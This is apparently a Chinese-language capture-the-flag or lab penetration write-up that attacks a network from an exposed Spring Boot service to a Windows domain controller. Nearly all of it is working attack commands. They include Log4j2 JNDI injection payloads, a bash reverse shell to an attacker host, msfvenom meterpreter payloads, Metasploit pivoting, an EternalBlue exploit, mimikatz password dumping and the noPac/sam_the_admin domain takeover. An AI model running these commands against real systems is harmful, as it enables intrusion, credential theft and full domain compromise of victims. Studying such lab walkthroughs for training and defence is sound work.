記一次log4j2引發的滲透

外網打點

首先對web進行端口掃描，發現38080端口和22端口

訪問一下38080端口發現是一個error page

用Wappalyzer看一下是什么架構，但是好像沒有檢測出來

拿著報錯去百度上發現應該是springboot

索性用goby再去掃一下，應該是spring沒錯，但是沒有漏洞是什么操作？聯想到最近出的log4j2的洞，可能他只是一個日志文件所以并沒有框架

使用

payload=${jndi:ldap://p9j8l8.dnslog.cn}

驗證一下有回顯證明存在漏洞

嘗試進一步利用漏洞，首先起一個ldap服務，ip為本地接收shell的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

抓包修改Content-Type: appllication/x-www-form-urlencoded，

并執行以下payload成功回顯

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

執行ls -al /看一下也成功

nc開啟監聽端口

然后使用bash命令反彈，這里需要先base64編碼然后對編碼后的特殊字符進行2層url轉碼

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二層轉碼之后的字符}，即可得到反彈shell

進行信息搜集發現為docker環境，這里嘗試了docker逃逸失敗，那么繼續進行信息搜集

在根目錄下找到了第一個flag，這里有一個got this，在之前端口掃描的時候看到開放了22端口，嘗試使用ssh直接連接

使用xshell嘗試連接

連接成功，拿到了宿主機的權限

內網滲透

ifconfig查看網卡情況發現還有一張10.0.1.0/24段的網卡

這里方便的話其實可以使用cs上線linux后用cs繼續打，這里我就沒有上線cs，使用linux的命令對10.0.1.0/24段探測存貨主機

 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

ping一下是存活的

使用毒液把流量代理出來，首先開啟監聽

admin.exe -lport 7777

然后上傳agent_linux到靶機上

加權并執行

chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777

連接成功

這里本來準備用毒液的代理到msf打的，后面覺得比較麻煩，就直接用kali生成的elf馬上線msf了

首先生成一個32位的elf馬

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

然后加權并執行

chmod 777 shell.elf
./shell

kali使用exploit/multi/handler進行監聽

獲取到宿主機的shell

然后添加10.0.1.0/24段的路由

bg
route add 10.0.1.0 255.255.255.0 1
route print

然后配置proxychain4.conf文件并使用socks模塊

search socks
use auxiliary/sevrer/socks_proxy
run

我們在之前已經知道了內網主機的ip，那么這里我們直接使用proxychain配合nmap對10.0.1.7的端口進行掃描

proxychains4 nmap -sT -Pn 10.0.1.7

發現有445端口，那么對445端口進一步掃描

先確定一下系統版本，使用auxiliary/scanner/smb/smb_version模塊，發現是win7 sp1

看能不能利用永恒之藍，這里使用到auxiliary/scanner/smb/smb_ms17_010模塊，發現可以利用永恒之藍

使用exploit/windows/smb/ms17_010_eternalbule模塊，因為是不出網環境，這里需要用到bind_tcp載荷

run之后拿到一個system權限的meterpreter

在C:\Users\root\Desktop下拿到第二個flag

然后繼續進行信息搜集，發現同樣是雙網卡，還存在10.0.0.0/24段的一張網卡

ipconfig /all看到dns服務器為redteam.lab應該在域內

這里ping一下redteam.lab得到域控的ip為10.0.0.12

這里不知道域控有什么洞，先上傳一個mimikatz把密碼抓取出來，得到Administrator/Admin12345，這里其實就可以使用域管賬戶ipc直接連接，但是這里抓到了一個域用戶，嘗試使用最新的CVE-2021-42287、CVE-2021-42278來進行攻擊，關于漏洞的原理請移步^[1]

privilege::debug
sekurlsa::logonpasswords

這里我準備使用noPac.exe直接去獲取一個shell的，但是這里noPac.exe的利用條件是需要主機上有.net4.0環境，所以這里沒有回顯

noPac.exe下載地址：https://github.com/cube0x0/noPac

本來準備一步一步的用原始的方法打的，但是powershell用不了沒有回顯，就寫一下原始利用的步驟吧

1.首先創建一個機器賬戶，可以使用 impacket 的 addcomputer.py或是powermad
addcomputer.py是利用SAMR協議創建機器賬戶，這個方法所創建的機器賬戶沒有SPN，所以可以不用清除
2.清除機器賬戶的servicePrincipalName屬性
3.將機器賬戶的sAMAccountName，更改為DC的機器賬戶名字，注意后綴不帶$
4.為機器賬戶請求TGT
5.將機器賬戶的sAMAccountName更改為其他名字，不與步驟3重復即可
6.通過S4U2self協議向DC請求ST
7.進行 DCsync Attack

這里直接使用sam_the_admin.py^[2]進行攻擊

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

即可拿到DC的shell

在C:\Users\Administrator\Desktop下找到最后一個flag